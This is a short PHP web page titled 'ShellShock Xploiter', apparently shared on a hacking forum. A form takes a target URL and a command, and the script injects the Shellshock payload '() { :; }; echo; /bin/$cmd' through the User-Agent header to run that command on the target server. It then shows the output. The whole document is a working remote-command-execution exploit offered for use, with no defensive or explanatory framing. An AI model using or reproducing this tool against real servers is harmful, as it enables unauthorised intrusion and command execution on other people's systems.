ShellShock Xploiter (WebBased)

<html>
<form method="post">
Target: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/">
<input type="text" name="cmd" size="50" height="10" placeholder="uname -a">
<input type="submit" name="go" value="test">
</form>
</html>
<?php
// coded by Evoo [ http://pastebin.com/u/Evoo ]
// recoded by Mr. Error 404 ( WebBased Xploiter )
function pwn($site,$cmd) {
$useragent =  "() { :; }; echo; /bin/$cmd";
//$useragent =  "() { :; }; echo; /bin/uname";
$ch = curl_init($site);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
print "<pre>";
print_r("\t".$postResult);
print "</pre>";
/*if (eregi("Linux",$postResult)){
    echo "[+]Vulnerable\n";
}else{
        echo "[-]Tidak Vuln\n";
}
*/
}
$url = $_POST['url'];
$cmd = $_POST['cmd'];
$go = $_POST['go'];
if(isset($go)) {
    echo "=> $url<br>";
    pwn($url, $cmd);
}
?>